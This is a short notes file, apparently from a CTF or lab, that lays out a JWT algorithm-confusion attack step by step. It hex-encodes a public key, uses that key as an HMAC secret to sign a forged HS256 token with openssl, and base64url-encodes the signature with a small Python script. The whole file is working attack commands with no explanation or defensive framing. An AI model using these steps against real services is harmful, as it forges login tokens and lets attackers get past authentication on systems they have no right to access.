JWTTomfoolery.txt

JWTTomfoolery.txt

# convert public key to hex so openssl will use it
cat $FILE | xxd -p | tr -d "\\n"

# openssl to sign as a valid HS256
echo -n "$JWT" | openssl dgst -sha256 -mac HMAC -macopt hexkey:$HEX_OF_PUBLIC_KEY

# decode hex to binary data then reencode it in base64
#!/usr/bin/env python3
import base64, binascii

encoded = base64.urlsafe_b64encode(binascii.a2b_hex('56f5b703202ae3d0d44f586d6c2a2cb4ff04220f2ce3a6201e96097077476c72')).decode().replace('=','')

print(f"Encoded: {encoded}")